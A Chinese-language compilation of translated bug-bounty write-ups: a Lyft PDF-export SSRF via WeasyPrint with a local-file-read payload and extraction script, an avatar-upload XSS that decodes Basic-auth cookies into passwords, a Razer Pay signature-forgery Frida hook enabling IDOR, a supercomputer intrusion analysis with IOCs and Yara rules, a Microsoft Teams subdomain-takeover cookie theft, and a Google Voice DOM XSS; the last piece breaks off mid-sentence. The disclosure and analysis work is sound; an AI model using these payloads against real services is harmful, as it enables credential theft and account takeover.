lyft.jpg

在外出参与某个安全会议的旅程中,我发现打车拼车应用Lyft能以PDF或CSV方式生成用户的行程消费报告,作为一个Lyft的老用户,这种功能非常方便,可以简化我繁琐的工作费用整理流程。但便利的同时,我也在想一个问题:它会存在安全漏洞吗?最终经过我与Cody Brocious (@Daeken)的测试,发现Lyft在该功能上确实存在漏洞。该漏洞于2018年发现,直到最近才公开,我们一起来看看。

Lyft的消费报告导出功能

当完成了一次打车服务,缴费或给司机评分之后,在Lyft应用弹出的行程信息窗口中,用户可以在其中输入消费代码(expense code)或其它信息,来对行程进行标识记录。比如,出于测试目的,我打车到机场后,在Lyft应用中的“行程历史”(Ride History)下的行程信息窗口标识中,我输入了一个HTML标记(<h1>test),之后,对应地它会提示我可以导出消费报告。点击导出之后,它会向我的邮箱发现两种报告模板:CSV和PDF,在我打开PDF版本的报告后,之前我输入的HTML标记(<h1>test)竟然成功在消费标识区域被加载了:

lyft3.png这个可利用点引起了我们的注意,我们想可以尝试用其中的PDF生成机制(PDF generator)来构造SSRF漏洞。

构造SSRF漏洞

从上可知,向PDF消费报告生成机制(PDF generator)中插入的HTML标记能有效加载,接下来可以考虑,利用该功能是否可让PDF generator调用一些外部资源实现敏感信息收集(如user-agent类的用户信息等)。由于行程消费标识操作每次都需要启动Lyft应用,为此,我们在其中设置了几个包含外部链接的行程历史记录,其中嵌入了如<iframe> 和 <img>的外部资源标记,但是,经过测试发现,这种方式完全无效,没有任何反应。

数周之后,HackerOne在纽约举办了一场线下实时比赛,其中就包含了 Lyft APP,而且这种类似内测的比赛可以在Lyft APP中添加大量行程历史记录,因此对我们来说,这算是一个非常好的漏洞测试机会。本次比赛,我们把关注点调整,首先需要了解为什么<h1> 和<u> 标记能正常加载,而<img> 和 <iframe>却不行。之前说过,在Lyft发来的消费报告中还存在一个CSV文件,经过对比其中的字符串集,我们发现其中包含的左右双引号是这样的,而非正常的英打双引号,之后,我们在PDF消费报告的Payload进行了校正,然后请求PDF报告,就能从Lyft应用中获取到报告生成服务端的User-Agent信息,其中包含了WeasyPrint服务,如下:

lyft4.png

WeasyPrint

WeasyPrint 是一个开源的智能WEB报告生成服务,用它可以方便地在WEB应用中制作生成PDF报告,它能把简单的HTML标记转变成华丽的**、票据、统计报告等,用户在相应的HTML模板或URL链接中填写好要求的字段后就能自动生成PDF报告,如用以下命令就能把一个填写好的HTML模板生成PDF报告:

$> weasyprint input.html output.pdf

所以,接下来我们就把研究点放到了WeasyPrint服务上,经过分析,我们发现WeasyPrint的具体工作机制如下:

允许嵌入短小数字作为HTML标记

不允许执行Javascript脚本

不允许执行iframe或类似标记

通过对WeasyPrint开源代码的分析查看之后,我们在html.py中发现了一些有意思的地方,如WeasyPrint对img、embed和object等标签集都进行了重定义,由于其不支持Javascript脚本,所以当时我们对PDF生成机制的漏洞利用就没抱太大希望。但是,后来,我们在WeasyPrint开源代码的 pdf.py文件中发现了<link>属性,该属性允许向PDF报告插入任意的网页形式或本地文件内容,如:

<link rel=attachment href=”file:///root/secret.txt”>

最终,利用数据压缩函数库zlib 以及 python, 我们写了一个从PDF文件中解包本地文件的脚本,如下:

import sys, zlib

def main(fn):

    data = open(fn, 'rb').read()

    i = 0

    first = True

    last = None

    while True:

        i = data.find(b'>>\nstream\n', i)

        if i == -1:

            break

        i += 10

        try:

            last = cdata = zlib.decompress(data[i:])

            if first:

                first = False

            else:

                pass#print cdata

        except:

            pass

    print(last.decode('utf-8'))

if __name__=='__main__':

    main(*sys.argv[1:])

最后一程

在本地环境测试中,我们把上述脚本结合Lyft的PDF生成机制设置了一个包含Payload的行程记录,在导出PDF报告的过程中,触发了其中的SSRF利用,获取到了相应的用户信息,确认了漏洞的存在,如下:

lyft5.jpg

致谢

感谢Lyft安全团队,Daeken的思路、@d0nutptr的漏洞验证,更多技术细节请查看HackerOne报告-H-885975,或观看NahamSec频道YouTube视频: Exploiting a Server Side Request Forgery (SSRF) in WeasyPrint for Bug Bounty & HackerOne’s $50M CTF

漏洞上报和处理过程

2018.11.10 – 我初次发现漏洞

2018.11.29 – 在纽约比赛中与@Daeken合作完成POC

2018.11.29 – 报送Lyft安全团队

2018.11.29 – Lyft修复漏洞

2018.11.30 – Lyft告知漏洞已修复

2018.12.05 – Lyft按其最高众测标准给予漏洞赏金

2020.5.20 – 漏洞公开

*参考来源:nahamsec,clouds 编译整理,转载请注明来自 FreeBuf.COM

capture_853651.png

本文中,作者在测试某Web目标站点APP的过程中,通过其中的用户头像上传功能,可以成功上传并加载HTML文件,进步利用该HTML文件可以形成存储型XSS攻击,读取用户的密码信息。我们一起来看看其利用姿势。

漏洞发现

当我注册登录了目标站点APP之后,经过对用户设置项的检查后发现,其中存在一个用户头像上传功能,如下:

image-3-1.png于是,我就用Burp对该上传功能进行抓包分析:

image-4.png

请注意,这里我用到了PATCH请求操作,可见其中的ProfilePicture参数为一串base64编码的图像化字串,另外,之前的ProfilePictureMIME参数为image/png,此处是我测试修改后的截图。

该请求是一个图片数据的上传操作,会对上传图像执行一个base64编码,然后通过JSON形式的结构上传到相应的API接口中去。我尝试着把ProfilePictureMIME参数值更改为text/x-php和application/php后,上传都被无效处理,但把其更改为text/html后竟然被允许了,接着,我就随手写了个包含alert动作的html文件进行上传:

<!DOCTYPE html>

<html>

<body>

<h1>Test</h1>

</body>

<script>

alert(1);

</script>

</html>

之后,把该html文件经base64编码,替换掉原先的ProfilePicture参数值,然后更改ProfilePictureMIME参数值为text/html,提交上传。接下来,我在浏览器中访问我的头像文件,哦,可以成功加载上传后的html文件!但遗憾的是,测试过程中在这里我未作截图。

由于服务器对这种用户头像图片无需任何访问权限限定,且Web目标站点存储用户头像图片的链接与主站域名相同,如下:

用户头像图片链接:https://something.redacted.com/res/img/usermeta//551/USER_7025dffcf32e4097bebe7b530f9f1a5d.png?ts=1584857339

Web目标站点域名:https://something.redacted.com/

Web目标站点登录链接:https://something.redacted.com/login/

也就是说,即使在我当前的登录账户之内,也可以访问到上述链接的其他用户头像图片。由此我想到了一个攻击场景,即在登录账户之后,看看能否有可利用的Cookie信息,恰巧在其Cookie中发现了一个名为AUTHH的经base64编码的参数,后经比对发现,其与Authorization Header首部中的Cookie信息一致。由于该Web应用采用了HTTP Basic Authentication认证,虽然其中的密码是base64编码,但经简单的转码后,就是可见的了。

Cookie: AUTHH=QmFzaWMgWm1GclpUcG1ZV3RsY0dGemN3PT0=

所以,我就构造出以下包含读取用户密码信息的HTML文件进行上传:

<html>

<head>

 <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>

<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js.cookie.min.js"></script>

</head>

<body>

<h1>Password Display by bad5ect0r</h1>

<p>Your username is: < id="uname"></></p>

<p>Your password is: < id="pass"></></p>

</body>

<script>

$(document).ready(function () {

const AUTHH = Cookies.get('AUTHH');

const unb64 = atob(AUTHH);

const basic = unb64.split(' ');

const uname_pass = atob(basic[1]).split(':');

const user = uname_pass[0];

const pass = uname_pass[1];

$('#uname').html(user);

$('#pass').html(pass);

});

</script>

</html>

该HTML文件可以转码用户Cookie中的AUTHH信息,从而明文显示出用户名密码。当然攻击者也可以在其中内置用户密码转发操作,把获取到的密码信息转发到他们控制的服务端中。该HTML成功加载后的效果如下:

image-5.png之后我立即向厂商上报了漏洞,他们也及时地进行了修复。我的经验是:如果在测试上传功能的时候,无法有效上传Webshell,那就尝试上传一个HTML文件试试。

*参考来源:bad5ect0r,clouds 编译整理,转载请注明来自 FreeBuf.COM

雷蛇支付(Razer Pay)在新加坡和马来西亚被广泛使用,在该篇Writeup中,作者通过APP逆向分析,利用Frida调试,发现了雷蛇支付电子钱包(Razer Pay Ewallet)中的用户签名(Signature)生成漏洞,由此可读取雷蛇支付用户的聊天记录、删除用户绑定的银行账户并窃取用户个人敏感信息,漏洞最终获得了雷蛇官方将近$6,000的奖励。以下是作者的漏洞发现思路,仅当姿势学习借鉴:

漏洞背景

雷蛇(Razer Inc,RΛZΞR)是一家在新加坡创立的游戏周边设备公司,又被称为“绿光灯厂”,近年开始进军电子消费业务。雷蛇的两个总部分别设立在新加坡及美国圣地牙哥。2017年11月在香港联交所上市,产品面向游戏玩家,其产品大多数都以肉食动物命名。2018年推出电子钱包Razer Pay。2020年5月,开始生产外科口罩。

在雷蛇支付电子钱包(Razer Pay Ewallet)的请求防篡改机制中,除auth_token之外,还使用了参数signature对不同用户的请求进行签名验证,每一个对服务端的GET和POST请求都会附带一个经过编码的signature参数值和用户id,如下图所示:

因此,试图对任意请求参数的篡改重发都会无效,但经APK逆向分析发现,雷蛇支付电子钱包(Razer Pay Ewallet)存在用户签名(Signature)生成漏洞,结合Frida的分析利用可自动计算生成新的用户签名(Signature),由此可导致很多的越权(IDOR)问题。

我在使用Burp对雷蛇支付APP的网络请求进行抓包时发现,由于请求中用户签名(Signature)的保护,所以其中很多参数都是无法篡改的,因此,我第一时间想到了注册另外一个雷蛇支付用户来进行配合测试,但在两个用户的同一请求的场景下,经会话Payload的替换操作后,执行无效,原因还是出在有用户签名(Signature)的会话请求保护。

我决定切实分析一下用户签名(Signature)的生成机制,在apktool 和 Jadx-Gui 的反编译帮助下,我对其APP的运行有了代码层次的理解,发现其中存在一个名为“MD5Encode”的方法函数,从名字上就知道是用了MD5加密算法。经过一些参数Payload的组合,我决定尝试一下生成用户签名(Signature),但怎么试也无法生成正确的用户签名,我猜想可能是参数次序错误,或它是一种非常规的MD5加密。

删除其他用户的绑定银行账户

不抛弃不放弃,我把其中涉及用户签名生成的所有相关代码拷贝出来,然后用IDE调试工具IntelliJ IDEA进行尝试生成,终于,在“MD5Encode”方法运用中,我组合对了正确的参数次序,不过由于有代码混淆,还需要做一些微调,但还算不太难。最终,在之前生成的请求主体中,插入正确的参数值,用上述代码即能生成正确的用户签名(Signature)字符串!

(小编分析,在以下多个用户签名的生成过程中,用到了用户自己的token,其为参数之一,然后经MD5Encode方法,可以生成与多个用户id对应的不同用户签名,也就是可以成功生成雷蛇服务端分配给多个用户的各个用户签名Signature)

由此,我首先想到的就是测试越权漏洞(IDOR),我选择了一个比较敏感的API接口/deleteBankAccount,也就是删除用户绑定的银行账户操作,然后在两个账户的测试场景下,竟然能成功删除掉另一雷蛇支付(Razer Pay)用户的绑定银行账户!

加入其他用户创建的聊天群组

到这步,我想肯定还有其它受Signature保护的API接口存在IDOR越权问题,于是我尝试用上述方法去做了一波测试,但毫无发现。而且其它API接口使用了不同代码混淆方法,导致我花费了很多时间去研究分析。没有头绪之时,那就用Frida来试试吧,Frida是一个非常好用的调试工具,我正好可以用它来识别一些可以hook利用的方法函数,结合上述的MD5Encode方法,找到正确的电子钱包代码包,同样可以用这些方法函数生成新的正确的用户签名Signature。

如以下frida.js代码实现的功能是为当前用户生成的新的用户签名,以加入其他用户创建的聊天群组:

// frida.js - Use this for recalculating signature for adding user to other people's chatgroup

console.log("Starting...")

Java.perform(function () {

    var MD5 = Java.use('com.mol.molwallet.view.MD5')

    MD5.MD5Encode.implementation = function (arg)

    {

        console.log("Hooking class MD5 - method MD5Encode")

       //Extra step - calculate new signature

        var ret_value = this.MD5Encode("groupId=1x9&userIds=95xxx7&token=b6fxxxd3-2xxc-4xxf-bxx7-7fxxxxa6")

        console.log("[+]  signature= " + ret_value)

        //Call method with original arguments so app doesn't crash ..

        var ret_value = this.MD5Encode(arg) //original value

                console.log("original ARG: " + arg) 

        return ret_value;

    }

})

但是要运行Frida,需要root级别的访问,好在我另外发现了一个服务端漏洞可以让攻击者在一台root过的移动设备中执行操作,以下为在移动设备中启动Frida服务的命令:

$ adb shell

# sudo su

# /data/local/tmp/frida-server

之后,在另一个终端窗口下,运行以下命令:

$ frida -l frida.js -U com.mol.molwallet

然后,在移动设备中,我打开雷蛇支付APP,这其中任何调用到hook方法“MD5Encode”的操作都将会执行上述的frida.js脚本,最终我就能针对特定用户请求生成有效正确的用户签名Signature了,这里的测试用例是,我可以为我自己生成一个用户签名,以它为验证凭据加入其他用户创建的聊天群组中去,这种方式的危害之处在于,可以神不知鬼不觉地加入某个群组,然后获取别人的聊天内容,或点击领取抢掉别人发送的红包。

导致的其它安全问题

利用上述方法,我把其它受Signature影响的所有API接口都做了测试,发现可以从这些API接口获取用户群组聊天时分享的红包金额,另外还能修改并查看其他用户的转账记录和个人信息。

*参考来源:sambal0x,clouds 编译整理,转载请注明来自 FreeBuf.COM

archer_cabs_red.jpg

最近,有报道称英国爱丁堡大学(The University of Edinburgh)用来进行新冠病毒研究的超算系统Archer,由于遭受网络攻击,被迫下线停止工作。出于好奇,我以关联方式整理了一些网络上公开的攻击线索信息,对它们做个简单的分析归纳。

公开的技术指标

5月15日,网络上出现了一些公开的技术分析报告:

1、首先是欧洲网格基础设施中心(European Grid Infrastructure,EGI ) 安全团队发布了它们监测到对超算系统的两起攻击事件报告,报告中分析了攻击团队利用恶意软件感染超算系统进行挖矿的行为;

2、安全专家Tillmann Werner针对近期超算系统遭受攻击事件,分享了攻击者使用的恶意程序loader和日志清除工具Cleaner的Yara规则;

3、同样,安全专家Markus Neis也分享了攻击者使用的恶意程序loader和日志清除工具Cleaner的相关Hash标识;

在欧洲网格基础设施中心(EGI)发布报告的“事件2”中,似乎都用到了安全专家Tillmann Werner和Markus Neis的分析观点,攻击团队使用了一个名为“fonts”的文件作为感染loader,然后用到了名为“low”的文件来删除感染痕迹并实现攻击手法隐蔽。

事件2以及对英国超算系统的攻击

在EGI发布的报告中提到,攻击者从以下三个受控的网络系统中登录超算系统,并实施密码凭据窃取:

波兰克拉科夫大学(The University of Krakow)

中国上海交通大学(Shanghai Jiaotong University, China)

中国科学技术网(China Science and Technology Network, China)

据报道称,不同高性能计算机构(HPC)之间的一些用户在学术研究交流条件下可以相互登录,因此,这就为攻击者留下了破坏入侵的门窗。尽管EGI的报告是16号发布的,但事实上,在14号周三的时候一名工作于英国HPC机构的用户就在Slashdot上发布了针对英国超算系统的攻击分析:

“我工作于英国的某高性能计算机构(HPC),昨天我撤销了系统中的所有SSH证书,因为一些愚蠢的用户(攻击者)正一直尝试使用没有密码的私钥证书登录,由于很多高性能计算用户在不同的系统上拥有不同的帐户,因此这些无密码的SSH证书登录,已经被攻击者用来在不同系统中进行了跳跃登录。攻击者通过CVE-2019-15666等漏洞方式实现对某些系统的本地权限提升,然后利用不安全的SSH登录途径进行横向移动渗透。当前,英国国家超算系统ARCHER正是存在一个系统级漏洞,面临攻击风险而被停工下线。”

恶意软件分析

攻击者使用的恶意程序loader和日志清除工具Cleaner都被用户取样并上传到了VirusTotal平台,上传样本的受害用户来自以下四个国家:

德国

英国

西班牙

瑞士

安全专家Tillmann指出攻击者在受害者系统中对恶意程序进行了定制化编译,因此,我们在VirusTotal上看到的是同一类恶意程序的不同样本,通常来说,这种密码劫持类攻击一般都会看到不同受害者上传的同一种样本。

另一安全专家Robert Helling已经对恶意程序loader和日志清除工具Cleaner进行了分析,因此我也就在这里再补充一些简单的细节。Robert Helling是一名德国莱布尼茨超级计算中心的物理学家,他向单位报告了他所做工作受网络攻击影响,因此他决定进一步调查。对于那些熟悉The Cuckoo’s Egg《杜鹃蛋》故事的人来说,这貌似又是一个熟悉的故事!

The Cuckoo’s Egg《杜鹃蛋》:克利福德·斯托尔(Clifford Stoll)于1989年写的书,这是他追踪溯源入侵劳伦斯伯克利国家实验室(Lawrence Berkeley National Laboratory)计算机系统黑客的书籍。

恶意程序loader是一个非常简单的调用脚本,可以从setuid命令以root权限运行任意命令。日志清除工具Cleaner有点隐蔽,它负责删除入侵相关的痕迹和日志线索,其一个样本 (552245645cc49087dfbc827d069fa678626b946f4b71cb35fa4a49becd971363)经反编译后清晰地显示了其主要功能特性:

01.png其中还包含了一些异或编码字符串:

02.png在Robert Helling的报告中,还分析了攻击者主要清除的日志文件列表:

log.jpg

EGI报告中的事件1

在EGI报告的两起超算攻击事件中,攻击者都利用了波兰克拉科夫大学服务器andromeda.up.krakow[.]pl作为攻击跳板。其中事件1提到攻击者入侵了91.196.70[.]109服务器并把它作为门罗币(XMR)的挖矿矿池,但当前该服务器还仍然在线,有可能还继续被攻击者控制。

攻击者用来挖矿的矿池服务器具备一个自签名证书,据分析互联网上有8个其它服务器都被部署了该证书,这表明它们的系统配置和功能似乎都大致相同。在两起攻击事件中都用到的跳板IP为:

149.156.26.227

159.226.234.29

另外,我们还发现美国一所著名大学的超算集群也受到类似攻击,我们正在进行协调接洽,准备进行后续分析。针对近期的超算攻击事件,我们积极构建了一个基于云的取证分析和响应平台。

IOC指标

Loader

MD5 fe9a46254cf233fcafeada013d0ec056

SHA-1 72690c644f7c7970b9ce9c2c9b9da31463ea0916

SHA-256 0f8a1c0f706d8e70f3240abd788a193426302322916cf4e9358d05116f6231ec

MD5 5ed00cb88d218db8d09352d9058c400c

SHA-1 bb926f5fb4554fe0397bdfbe5cc6115419d6c408

SHA-256 0efdd382872f0ff0866e5f68f0c66c01fcf4f9836a78ddaa5bbb349f20353897

MD5 02570c3a85fc1ccea9858ecacdc3a954

SHA-1 05cb49439377ea1de61808098eb0d1e3c88854ab

SHA-256 9647038806905ce7a46e1b783746c623c1c03fcc60a6bd18564bda5625ac4780

MD5 11a186cd20d74f5dc0febe3d7904c52d

SHA-1 dac49da1b718235621028343a7f3f9b5b227828c

SHA-256 820ff5da47023d6a92d37497094a51aca81b0b149715436b57fe117d94ec3fe0

MD5 dd771b769ceeba0fc1d514a6e6530a70

SHA-1 f9bfce6adb6541a08f62e69636d0e90f6f663852

SHA-256 94b17888b735fa75bb6939b542446c22e1108a46cecdffce4f8b579d8a877c3a

MD5 bf16df15225bc83a56b0cf0ec9012360

SHA-1 1f130e158765b9d5c87571212d48bab86dd30e49

SHA-256 807d836d496d0ac61dbec07b757579985d65ec6187b35155de7d342f760d6b79

Cleaner

MD5 780f236fb3646534832b2da9d5cf6eb0

SHA-1 05baffad9ad7225e8043e79677d0a50e586e683b

SHA-256 552245645cc49087dfbc827d069fa678626b946f4b71cb35fa4a49becd971363

MD5 c764ba53fa9c5a24a88a1d2e17be6943

SHA-1 e6bd973fc2bb7efd7b1c588acc31d74da4c1428c

SHA-256 4551fb76aa8806bc3d4f8622f5a1535887742aea99cdd227de300699425978b2

MD5 ce7240b8bbb2bee8f300321eef46a41e

SHA-1 e19c37bf7bb64dbc16a143614972d05f437c203c

SHA-256 74d21900332836e8509a5484413a525239b135f99af70f804d67136082ca6e9c

MD5 d42553bd420e80ec31df5da2d5b932e0

SHA-1 3a9fe697cf78d95351d95d61618866aa6490300a

SHA-256 eec6129780d3e1645ce19efd96c1e18aa08778c8472189f1d65bc46d449cfc82

MD5 65dde869c0e1455de24aadf5aa4538a2

SHA-1 0b2178adaf4fa70c4919835a3df96e521b8c94f7

SHA-256 e8627037ff667021e11da5f6e707d173f86edc6bb789c204f25ff5c4ccd21910

MD5 a0ec7d355dc9e7f232fb47bf401c3138

SHA-1 efb59da51029a294bbba9fe011a0f4aed8aec097

SHA-256 bd887ab361470f775e4834a99a1f21d20c6b4a5d13e75455e15bd1041407a33f

MD5 261f16ec5d72078f6e3c21551ceaecb2

SHA-1 5d2c21ad38deac2135cc0e3801265b33ec6e7b0b

SHA-256 c5e3b0ae057ad47ba91b3ccc32cd03cb5f64d26552b0ba1cb971f6a33ef12afb

MD5 0b522e54bf3f276496793c44bec7362b

SHA-1 08bca1448e43861a5173f4c6e111728f36c78d43

SHA-256 1d95d3b2f265aa142c8d2aca45c50a23265f5153650d2447e8c58cadbbb92deb

杀软检测规则

– ESET: Linux/Agent.IT

– Kaspersky: Linux.Loerbas.gen

– APT_LNX_Academic_Camp_May20_Loader_1

Yara规则

rule loader {

  string: $ = { 61 31 C2 8B 45 FC 48 98 }

  condition:

  all of them

}

rule cleaner {

  strings:

  $ = { 14 CC FC 28 25 DE B9 }

  condition:

  all of them

}

*参考来源:cadosecurity,clouds 编译整理,转载请注明来自 FreeBuf.COM

近期,以色列安全公司cyberark通过Microsoft Teams的子域名劫持漏洞结合GIF图片传播,可以针对使用Microsoft Teams的组织机构实现用户数据窃取和全部Teams账户劫持。该攻击场景下,用户只需浏览到经过构造的GIF图片即可中招,具备广泛的传播危害性。

背景介绍

随着COVID-19疫情的蔓延,越来越多的公司机构都采取了网络远程方式办公,Teams、Slack和Zoom都是目前非常流行的远程办公应用,尤其在当前复杂的疫情形势下,这些应用在远程办公、维系客户和第三方伙伴的关系中都发挥了重要作用。

从人员招聘、视频会议、群聊交友、直播带货等等,越来越多的活动都放到了网络上进行,但随之而来的即是大量用户个人信息、账号信息、商业机密等敏感数据都在远程应用上“奔跑”,这致使它们毫无疑问地成为了黑客们的主要攻击目标。

回到我们的研究场景中来,以下即是我们的一个大概的攻击流程,请仔细观察,可以看到,攻击者只需向受害者发送一张恶意GIF或其它类型图片,就可对整个组织机构内的Microsoft Teams用户实现账户劫持。

Microsoft Teams工作机制介绍

Microsoft Teams是微软旗下的一个流行的协同交互应用,具备工作交流、视频会议、文件存储和集成办公等功能,其主要优势之一是提供了与企业Office 365订阅的集成,并能与其它非微软应用形成扩展。

幸运Cookie

在我们对Microsoft Teams的研究中发现,其在处理图片资源请求的访问令牌过程中,存在可深入挖掘分析的地方。简单来说,每次当用户打开Microsoft Teams客户端时,Microsoft Teams的后端服务器login.microsoftonline.com即会为当前用户生成一个JWT格式的临时token或access token,除此之外,Microsoft Teams后端还会为用户生成其它访问微软服务的令牌,如访问SharePoint、Outlook的令牌等等。

在这些生成的token中有一个叫“skype token”的令牌,其cookie名为“skypetoken_asm”,Microsoft Teams客户端用户用它可以浏览访问或分享组织机构内存储在远端微软服务器上的图片资源,然而,该token的作用不仅只是浏览或分享图片,还能用于消息分享验证。

如今大多数应用服务中都采用了Rest API的方式来与用户交互,很多复杂应用如Microsoft Teams为了具备良好的交互效率和多服务运行,一般都会部署多个API服务端,客户端与API服务端之间以验证信息作为身份校验,其中一种常见的校验方式就是Authorization header,Microsoft Teams服务端API即是采用了Authorization header方式与客户端进行身份验证,但经我们发现这种验证方式在处理客户端的图片资源请求时存在问题。

原因在于:

Microsoft Teams把客户端用户的大多数authentication token都存储在了浏览器的local storage当中,cookie方式的验证用到的不多。按理来说,在Microsoft Teams客户端用户访问或浏览图片资源的过程中,需要把当前的authentication token发往存储有相应图片资源的Microsoft服务器中,但这里在图片获取过程中有时候会遇到问题。为此有两种解决方法,一是以JS代码把图片内容作为一个blob对象来获取,在其中可以把图片的src属性设置为blob对象。另一种方法是,以hash或类似字串方式创建指向图片资源的一个access token,就像以下Facebook的图片访问方式一样,其中的oh和oe即是类似hash的东西:

https://scontent.fsdv2-1.fna.fbcdn.net/v/t1.0-9/r270/10101010_10101010_10101010_o.jpg?_nc_cat=102&_nc_sid=111111&_nc_ohc=ABC&_nc_ht=scontent.fsdv2-1.fna&oh=9e2a890f5f05001e01c16d9731983d3e&oe=2AB1FCCC

在此,Microsoft Teams开发者采用了不同的组合方式,某些情况下,Teams用到了正常的URL加载方法,即如以下在图片“src”中设置了一个URI来进行加载访问。

<img ng-show="!giphyCtrl.playVideo" ng-src="https://media2.giphy.com/media/gB4KWtd3uSsJq/giphy.gif" height="240" width="480" load-image-handler src="https://media2.giphy.com/media/gB4KWtd3uSsJq/giphy.gif">

这里存在的问题是,Microsoft Teams如何保证正确或有权限的用户才能查看到这些图片呢?如用户分享的图片应该只有互相才能看到,为此,Microsoft Teams增加了名为“authtoken”和“skypetoken_asm”的cookie来进行访问限制,如下图“authtoken”cookie所示:

上图中可以看到,“authtoken”cookie中包含了一个JWT形式的access token,它会被发送到*.teams.microsoft.com,该JWT的处理后端是api.spaces.skype.com,也即是说只有特定的域名才能接收该token。但api.spaces.skype.com只负责验证token,并不处理具体的消息发送请求,为此需要找到包含token的发起请求。

接下来,我们在Microsoft Teams聊天消息的网络交互中,找到了包含skypetoken,执行图片分享浏览的请求:

GET https://amer.ng.msg.teams.microsoft.com/v1/users/ME/conversations/19%3A...%40unq.gbl.spaces/messages?view=msnp24Equivalent|supportsMessageProperties&pageSize=200&startTime=1 HTTP/1.1

Host: amer.ng.msg.teams.microsoft.com

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

x-ms-session-id: 00000000000-0000-0000-0000-00000000000

BehaviorOverride: redirectAs404

x-ms-scenario-id: 00

x-ms-client-cpm: ApplicationLaunch

x-ms-client-env: 

x-ms-client-type: 

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

ClientInfo: 

Accept: json

Sec-Fetch-Dest: empty

x-ms-client-version: 

x-ms-user-type: user

Authentication: skypetoken=eyJhbGciOiJSUzI1NiIsImtpZCI6IkVhc3RlckVnZyA6KSIsInR5cCI6IkpXVCJ9.eyJ...

Origin: https://teams.microsoft.com

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Referer: https://teams.microsoft.com/_

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

从上图中可以看到,要发起这么一个图片请求首先需要获取一个“skypetoken”,但如何来得到呢?在更深入的网络交互分析中,我们发现下面的POST请求即是创建“skypetoken”的请求:

POST /api/authsvc/v1.0/authz HTTP/1.1

Host: teams.microsoft.com

Connection: close

Content-Length: 0

Pragma: no-cache

Cache-Control: no-cache

x-ms-session-id: 00000000000-0000-0000-0000-00000000000

x-ms-scenario-id: 00

x-ms-user-type: user

x-ms-client-env: 

x-ms-client-type: 

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IktleXMiLCJraWQiOiJLZXlzRXZlcnlXaGVyZSJ9.eyJ...

Accept: application/json, text/plain, */*

X-Client-UI-Language: en-us

Sec-Fetch-Dest: empty

ms-teams-authz-type: TokenRefresh

x-ms-client-version: 

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36

Origin: https://teams.microsoft.com

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Referer: https://teams.microsoft.com/_

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: {redacted}

域名劫持

有了“authtoken”和“skypetoken”后,就能通过Teams API接口发起API请求,实现消息发送、读取,创建群组、添加移除新用户或更改群组用户权限等。但还需要一个条件,由于“authtoken”和“skypetoken”只会发送到teams.microsoft.com和其相关子域名中,所以,成功的利用条件是teams.microsoft.com和其相关子域名存在域名劫持。恰巧的是,经过测试,我们发现以下两个teams.microsoft.com的子域名存在可劫持漏洞:

aadsync-test.teams.microsoft.com

data-dev.teams.microsoft.com

如果攻击者劫持了上述两个域名,就能窃取到受害者发往Microsoft Teams服务端的cookie,然后通过其中的“authtoken”生成“skypetoken”,就能对受害者账户数据的窃取。但该利用中还存在:

1、攻击者需要为上述可被劫持的子域名发布一个证书,因为“authtoken”被标记为了secure,只能通过https通道传递。但对于攻击者来说,这并不算是一个问题,因为域名已经可以劫持了,只要能上传相应文件到指定的路径下,证书颁布机构即能发布有效证书;

2、如何利用该漏洞方法实现Microsoft Teams账户劫持,如果可能的话,最好不要用恶意链接的方式,因为这种方法已经被用烂了,稍微有点安全意识的人都不会上当。

为此,我们设计了一种不一样的手法。

构造邪恶的GIF

如前所述,Microsoft Teams在跨域的Teams和Skype账户中进行图片分享或浏览时,用“authtoken” 来验证用户身份然后加载图片,因此,我们可以通过Microsoft Teams群聊,向受害者发送一张“src”属性指向上述两个可被劫持的子域名的图片,当受害者打开该图片后,其浏览器就会向攻击者劫持的子域名发送包括“authtoken”的Cookie。

这样一来,攻击者就能获取受害者的“authtoken”,然后生成“skypetoken”,进而窃取到受害者的所有数据信息。

攻击就是如下这么简单:受害者只需在Microsoft Teams账户中浏览一张正常的GIF,即可中招!子域名劫持+Cookie窃取=账户劫持。虽然这种攻击场景大多限于内部,但也会引入外部因素,如邀请第三方人员或局外人加入视频会议等。

形成类似蠕虫的攻击利用(Worm-like Vulnerability)

该漏洞利用最大最可怕的一点就在于能在群组中广泛传播,类似蠕虫一样,受害者看到的是一张经过构造的正常图片,每个受害者账户都会成为一个扩散点,影响所有群组用户,并且,这种图片分享传播也有可能被传播给其它公司群组,形成更快更有效的攻击步骤。POC视频参考:

https://www.cyberark.com/threat-research-blog/beware-of-the-gif-account-takeover-vulnerability-in-microsoft-teams/

除此之外,我们还写了一个脚本,可以跑出受害者的所有会话信息并保存在本地,如下图所示:

漏洞修复(Mitigation & Response)

在与Microsoft安全团队的沟通协调后, Microsoft 迅速删除了上述两个子域名的DNS错误配置记录,堵塞了域名劫持漏洞,然后在相关应用中加入了更多的安全规则。

2020.3.20  漏洞上报

2020.3.20  微软修复错误配置的DNS记录

2020.4.20  微软释放补丁

*参考来源:cyberark,clouds 编译整理,转载请注明来自 FreeBuf.COM

本文讲述了作者在安装了Google Voice插件的环境中,通过Gmail接收邮件时偶尔发现的一个DOM XSS漏洞,经对Google Voice插件的源代码分析,最终找到了漏洞根源。漏洞获得了谷歌$3,133.7的奖励。

漏洞端倪

该全局性DOM XSS漏洞的发现也纯属偶然,当我构造了oneerror=alert(1)的XSS Payload进行发送测试,打开了Gmail邮箱收取Google Ads的信件时,突然在Gmail收件箱中跳出了以下弹窗:

当时我的反应是,这是一个Google Ads规则触发的存在于Gmail中的存储型XSS,所以立马就想着上报,但仔细一分析,事情没这么简单。

漏洞分析

这里存在两方面的因素:我的系统中安装了Google Voice插件、XSS Payload-’444-555-4455 <img src=x onerror=alert(1)>’是显示在收件箱中的文本字段。

经过分析,我发现该XSS漏洞是由Google Voice插件引发的,在谷歌本身的用户相关网站accounts.google.com和其它第三方注册网站如facebook.com,都能有效触发并执行javascript代码。如下:


